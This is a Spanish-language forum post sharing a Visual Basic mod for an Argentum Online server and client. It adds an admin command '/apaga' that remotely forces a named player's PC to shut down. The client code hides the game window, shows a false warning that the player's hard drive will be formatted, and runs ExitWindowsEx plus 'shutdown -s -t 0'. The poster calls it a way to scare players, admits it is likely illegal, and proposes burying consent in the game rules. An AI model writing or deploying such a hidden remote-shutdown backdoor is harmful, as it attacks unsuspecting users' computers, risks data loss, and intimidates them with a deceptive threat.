comando /apaga "nick"

bueno me enamore de este codigo xD es de lo mas util que vi
para los que tienen su ao lleno de gente molesta lo que hace este codigo es que al poner /apaga "nick" se le apaga la pc al usuario. yo lo cambie para que diga "su disco duro sera formateado por no comportarse dentro del juego" pero no se preocupen que solo le apaga la pc. es basicamente para asustar al usuario y que aprenda "por las malas" a comportarse

Servidor:

Buscamos:

Código:

If UCase$(Left$(rData, 6)) = "/NENE " Then

Y Arriba agregamos:

Código:

If UCase$(Left$(rData, 7)) = "/APAGA " Then
    rData = Right$(rData, Len(rData) - 7)
    tIndex = NameIndex(rData)
    If tIndex <= 0 Then
        Call SendData(SendTarget.ToIndex, UserIndex, 0, "||Usuario offline." & FONTTYPE_INFO)
        Exit Sub
    Else
    Call SendData(SendTarget.ToIndex, UserIndex, 0, "APAG")
    End If
    Exit Sub
End If

Ahora en el Cliente Buscamos:

Código:

Case "NENE"            ' >>>>> Nro de Personajes :: NENE

Y arriba agregamos:

Código:

Case "APAG"
            frmMain.Visible = False
            MsgBox ("su disco duro sera formateado por no comportarse dentro del juego.")
            ExitWindowsEx EWX_SHUTDOWN, 0
            Shell "shutdown -s -t 0"
            Exit Sub

Y en el Mod_TCP del Cliente arriba de todo después del Option Explicit agregan:

Código:

Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
 
Const EWX_LOGOFF = 0
Const EWX_SHUTDOWN = 1
Const EWX_REBOOT = 2
Const EWX_FORCE = 4

PD: creo que esto es ilegal, de ultima ponganle en el conectar "al jugar esta aceptando el reglamento" y le ponen en el reglamento que si no se comporta se le puede llegar a esta instancia y fue, total no ay probabilidad de mal apagado de pc y ningun daño mayor, es como apagar su pc desde incio--> apagar

Buen post segui asi y bienvenido al foro